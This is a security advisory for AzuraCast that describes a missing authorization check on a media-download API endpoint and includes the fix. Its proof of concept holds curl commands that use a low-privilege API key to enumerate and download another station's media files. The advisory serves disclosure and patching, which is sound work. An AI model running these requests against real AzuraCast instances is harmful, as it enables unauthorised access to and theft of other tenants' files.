GitHub Advisoryadvisory · Packagist
GHSA-qff7-q5fm-8p76 AzuraCast has Missing Permissions Check on Media File Download, Allowing Cross-Station Data Exfiltration
MEDIUM
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- Ecosystem
- Packagist
- Packages
- azuracast/azuracast
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-862
- Reviewed
- 2026-05-04
Affected packages
• Packagist azuracast/azuracast: < 0.23.6 → fixed in 0.23.6
Description
Summary
The `GET /api/station/{station_id}/file/{id}/play` endpoint, handled by `PlayAction`, is missing the `Middleware\Permissions` check that protects all sibling routes in the same `/file/{id}` route group. Any authenticated user can download media files from any station, regardless of whether they have permissions on that station. In multi-tenant deployments, this enables cross-station media exfiltration.
Details
In `backend/config/routes/api_station.php`, the `/file/{id}` route group (lines 407-429) defines four endpoints:
```php
// Line 407-429
$group->group(
'/file/{id}',
function (RouteCollectorProxy $group) {
// GET /file/{id} — has Permissions check ✓
$group->get('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));
// PUT /file/{id} — has Permissions check ✓
$group->put('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));
// DELETE /file/{id} — has Permissions check ✓
$group->delete('', ...)->add(new Middleware\Permissions(StationPermissions::DeleteMedia, true));
// GET /file/{id}/play — NO Permissions check ✗
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
->setName('api:stations:files:play');
}
);
```
The middleware chain for the `/play` endpoint is: `GetStation → RequireStation → RequireLogin → StationSupportsFeature(Media) → PlayAction`. The `RequireLogin` middleware (`backend/src/Middleware/RequireLogin.php`) only verifies a valid session/API key exists — it does not check station-level permissions.
The controller at `backend/src/Controller/Api/Stations/Files/PlayAction.php:84` calls `$this->mediaRepo->requireForStation($id, $station)`, which verifies the media belongs to the station but performs no authorization check. The `findForStation` method (`StationMediaRepository.php:46-66`) accepts both auto-increment integer IDs and unique IDs, making enumeration trivial via sequential integers.
This is notably similar to the regression fixed in commit `7fbc7dd` (2026-02-26), which restored a missing group-level `Permissions` middleware on the adjacent `/files` group. The `/play` route was missed in that fix.
PoC
```bash
Step 1: Create two stations (Station A and Station B) in a multi-tenant AzuraCast instance.
Upload media files to Station B.
Step 2: Create a user with permissions ONLY on Station A. Generate an API key for this user.
API_KEY="user-with-only-station-a-access"
Step 3: Enumerate and download media from Station B (station_id=2) using sequential IDs
This should return 403 Forbidden, but instead returns the file content
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1/play -o stolen1.mp3
HTTP 200 OK — file downloaded successfully
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/2/play -o stolen2.mp3
HTTP 200 OK — file downloaded successfully
Step 4: Verify the same user is correctly blocked on other endpoints in the same group
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1
HTTP 403 Forbidden — permission check works here
```
Impact
• Any authenticated user can download the full media library of any station in the instance, regardless of their assigned permissions.
• In multi-tenant deployments (e.g., hosting providers running multiple radio stations), a user of Station A can exfiltrate all copyrighted audio content from Station B.
• Media IDs use auto-increment integers (`HasAutoIncrementId` trait on `StationMedia`), enabling trivial enumeration of all media files.
• The confidentiality impact is High: full media file contents (MP3, FLAC, etc.) are exposed.
Recommended Fix
Add the `Permissions` middleware to the `/play` route, matching the pattern used by the adjacent routes:
```php
// backend/config/routes/api_station.php, line 426-427
// Before:
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
->setName('api:stations:files:play');
// After:
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
->setName('api:stations:files:play')
->add(new Middleware\Permissions(StationPermissions::Media, true));
```
Related
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness